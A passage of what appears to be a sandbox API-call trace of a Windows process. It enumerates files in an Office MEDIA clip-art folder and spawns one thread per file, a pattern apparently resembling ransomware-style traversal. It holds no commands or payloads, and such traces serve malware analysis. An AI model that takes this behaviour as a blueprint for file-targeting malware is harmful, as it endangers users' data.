RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92a2f0 [0140.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*", lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da010 [0141.091] wcscmp (_String1=".", _String2=".") returned 0 [0141.091] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.130] wcscmp (_String1="..", _String2=".") returned 1 [0141.130] wcscmp (_String1="..", _String2="..") returned 0 [0141.130] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeec79e70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0141.130] wcscmp (_String1="1033", _String2=".") returned 1 [0141.130] wcscmp (_String1="1033", _String2="..") returned 1 [0141.130] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8d28 [0141.130] wcscpy (in: _Dest=0x8e8d28, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0141.130] wcscat (in: _Dest=0x8e8d28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0141.131] wcscat (in: _Dest=0x8e8d28, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033" [0149.361] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8e8d28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1774 [0149.361] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0149.362] wcscmp (_String1="CAGCAT10.DLL", _String2=".") returned 1 [0149.362] wcscmp (_String1="CAGCAT10.DLL", _String2="..") returned 1 [0149.362] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0149.362] wcscmp (_String1="CAGCAT10.MMW", _String2=".") returned 1 [0149.362] wcscmp (_String1="CAGCAT10.MMW", _String2="..") returned 1 [0149.362] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8a28 [0149.362] wcscpy (in: _Dest=0x8f8a28, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.362] wcscat (in: _Dest=0x8f8a28, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.362] wcscat (in: _Dest=0x8f8a28, _Source="CAGCAT10.MMW" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" [0149.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8a28, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1778 [0149.378] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0149.378] wcscmp (_String1="ELPHRG01.WAV", _String2=".") returned 1 [0149.378] wcscmp (_String1="ELPHRG01.WAV", _String2="..") returned 1 [0149.378] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8ab0 [0149.378] wcscpy (in: _Dest=0x8f8ab0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.379] wcscat (in: _Dest=0x8f8ab0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.379] wcscat (in: _Dest=0x8f8ab0, _Source="ELPHRG01.WAV" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" [0149.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x177c [0149.381] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0149.381] wcscmp (_String1="J0088542.WMF", _String2=".") returned 1 [0149.381] wcscmp (_String1="J0088542.WMF", _String2="..") returned 1 [0149.381] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f8120 [0149.381] wcscpy (in: _Dest=0x8f8120, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.382] wcscat (in: _Dest=0x8f8120, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.382] wcscat (in: _Dest=0x8f8120, _Source="J0088542.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" [0149.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f8120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1780 [0149.383] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ad6a00, ftCreationTime.dwHighDateTime=0x1bcf887, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68ad6a00, ftLastWriteTime.dwHighDateTime=0x1bcf887, nFileSizeHigh=0x0, nFileSizeLow=0x8880, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090070.WMF", cAlternateFileName="")) returned 1 [0149.383] wcscmp (_String1="J0090070.WMF", _String2=".") returned 1 [0149.383] wcscmp (_String1="J0090070.WMF", _String2="..") returned 1 [0149.383] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7928 [0149.383] wcscpy (in: _Dest=0x8f7928, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.383] wcscat (in: _Dest=0x8f7928, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.383] wcscat (in: _Dest=0x8f7928, _Source="J0090070.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090070.WMF" [0149.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7928, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1784 [0149.384] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59c88400, ftCreationTime.dwHighDateTime=0x1bd208e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59c88400, ftLastWriteTime.dwHighDateTime=0x1bd208e, nFileSizeHigh=0x0, nFileSizeLow=0x830a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0090386.WMF", cAlternateFileName="")) returned 1 [0149.384] wcscmp (_String1="J0090386.WMF", _String2=".") returned 1 [0149.384] wcscmp (_String1="J0090386.WMF", _String2="..") returned 1 [0149.384] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f78a0 [0149.384] wcscpy (in: _Dest=0x8f78a0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.384] wcscat (in: _Dest=0x8f78a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.384] wcscat (in: _Dest=0x8f78a0, _Source="J0090386.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0090386.WMF" [0149.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f78a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1788 [0149.385] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e332700, ftCreationTime.dwHighDateTime=0x1bd3d86, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e332700, ftLastWriteTime.dwHighDateTime=0x1bd3d86, nFileSizeHigh=0x0, nFileSizeLow=0x870a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149407.WMF", cAlternateFileName="")) returned 1 [0149.386] wcscmp (_String1="J0149407.WMF", _String2=".") returned 1 [0149.386] wcscmp (_String1="J0149407.WMF", _String2="..") returned 1 [0149.386] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f74e8 [0149.386] wcscpy (in: _Dest=0x8f74e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.386] wcscat (in: _Dest=0x8f74e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.386] wcscat (in: _Dest=0x8f74e8, _Source="J0149407.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149407.WMF" [0149.386] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f74e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178c [0149.387] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4fd5900, ftCreationTime.dwHighDateTime=0x1bd4249, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4fd5900, ftLastWriteTime.dwHighDateTime=0x1bd4249, nFileSizeHigh=0x0, nFileSizeLow=0x5eda, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149481.WMF", cAlternateFileName="")) returned 1 [0149.387] wcscmp (_String1="J0149481.WMF", _String2=".") returned 1 [0149.387] wcscmp (_String1="J0149481.WMF", _String2="..") returned 1 [0149.387] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f7a38 [0149.387] wcscpy (in: _Dest=0x8f7a38, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.387] wcscat (in: _Dest=0x8f7a38, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.387] wcscat (in: _Dest=0x8f7a38, _Source="J0149481.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149481.WMF" [0149.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f7a38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1790 [0149.388] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe3f700, ftCreationTime.dwHighDateTime=0x1bd5067, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fe3f700, ftLastWriteTime.dwHighDateTime=0x1bd5067, nFileSizeHigh=0x0, nFileSizeLow=0xa80a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149627.WMF", cAlternateFileName="")) returned 1 [0149.388] wcscmp (_String1="J0149627.WMF", _String2=".") returned 1 [0149.389] wcscmp (_String1="J0149627.WMF", _String2="..") returned 1 [0149.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f79b0 [0149.389] wcscpy (in: _Dest=0x8f79b0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.389] wcscat (in: _Dest=0x8f79b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.389] wcscat (in: _Dest=0x8f79b0, _Source="J0149627.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" [0149.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f79b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1794 [0149.390] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dd2e700, ftCreationTime.dwHighDateTime=0x1bd6439, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9dd2e700, ftLastWriteTime.dwHighDateTime=0x1bd6439, nFileSizeHigh=0x0, nFileSizeLow=0x1ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0149887.WMF", cAlternateFileName="")) returned 1 [0149.390] wcscmp (_String1="J0149887.WMF", _String2=".") returned 1 [0149.390] wcscmp (_String1="J0149887.WMF", _String2="..") returned 1 [0149.390] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x8f9000 [0149.390] wcscpy (in: _Dest=0x8f9000, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.390] wcscat (in: _Dest=0x8f9000, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.390] wcscat (in: _Dest=0x8f9000, _Source="J0149887.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" [0149.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f9000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1798 [0149.391] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc87200, ftCreationTime.dwHighDateTime=0x1bd7ec5, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fc87200, ftLastWriteTime.dwHighDateTime=0x1bd7ec5, nFileSizeHigh=0x0, nFileSizeLow=0x2068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157763.WMF", cAlternateFileName="")) returned 1 [0149.391] wcscmp (_String1="J0157763.WMF", _String2=".") returned 1 [0149.391] wcscmp (_String1="J0157763.WMF", _String2="..") returned 1 [0149.391] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50060 [0149.391] wcscpy (in: _Dest=0x12c50060, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.391] wcscat (in: _Dest=0x12c50060, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.391] wcscat (in: _Dest=0x12c50060, _Source="J0157763.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157763.WMF" [0149.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x179c [0149.393] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeffa900, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaeffa900, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0157995.WMF", cAlternateFileName="")) returned 1 [0149.393] wcscmp (_String1="J0157995.WMF", _String2=".") returned 1 [0149.393] wcscmp (_String1="J0157995.WMF", _String2="..") returned 1 [0149.393] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c500e8 [0149.393] wcscpy (in: _Dest=0x12c500e8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.393] wcscat (in: _Dest=0x12c500e8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.393] wcscat (in: _Dest=0x12c500e8, _Source="J0157995.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0157995.WMF" [0149.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c500e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0 [0149.394] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9ba3e00, ftCreationTime.dwHighDateTime=0x1bd94f9, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb9ba3e00, ftLastWriteTime.dwHighDateTime=0x1bd94f9, nFileSizeHigh=0x0, nFileSizeLow=0x1426, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158007.WMF", cAlternateFileName="")) returned 1 [0149.394] wcscmp (_String1="J0158007.WMF", _String2=".") returned 1 [0149.394] wcscmp (_String1="J0158007.WMF", _String2="..") returned 1 [0149.394] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c50170 [0149.394] wcscpy (in: _Dest=0x12c50170, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.394] wcscat (in: _Dest=0x12c50170, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.394] wcscat (in: _Dest=0x12c50170, _Source="J0158007.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0158007.WMF" [0149.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c50170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a4 [0149.395] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf00c800, ftCreationTime.dwHighDateTime=0x1bdf6f6, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf00c800, ftLastWriteTime.dwHighDateTime=0x1bdf6f6, nFileSizeHigh=0x0, nFileSizeLow=0x4d38, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183168.WMF", cAlternateFileName="")) returned 1 [0149.395] wcscmp (_String1="J0183168.WMF", _String2=".") returned 1 [0149.395] wcscmp (_String1="J0183168.WMF", _String2="..") returned 1 [0149.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x7c) returned 0x12c501f8 [0149.395] wcscpy (in: _Dest=0x12c501f8, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0149.395] wcscat (in: _Dest=0x12c501f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0149.395] wcscat (in: _Dest=0x12c501f8, _Source="J0183168.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0183168.WMF" [0149.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12c501f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a8 [0150.129] FindNextFileW (in: hFindFile=0x8da010, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d86900, ftCreationTime.dwHighDateTime=0x1bdf6f7, ftLastAccessTime.dwLowDateTime=0xbd47aa20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9d86900, ftLastWriteTime.dwHighDateTime=0x1bdf6f7, nFileSizeHigh=0x0, nFileSizeLow=0x7018, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0183290.WMF", cAlternateFileName="")) returned 1 [0150.129] wcscmp (_String1="J0183290.WMF", _String2=".") returned 1 [0150.129] wcscmp (_String1="J0183290.WMF", _String2="..") returned 1 [0150.129] RtlAllocateHeap 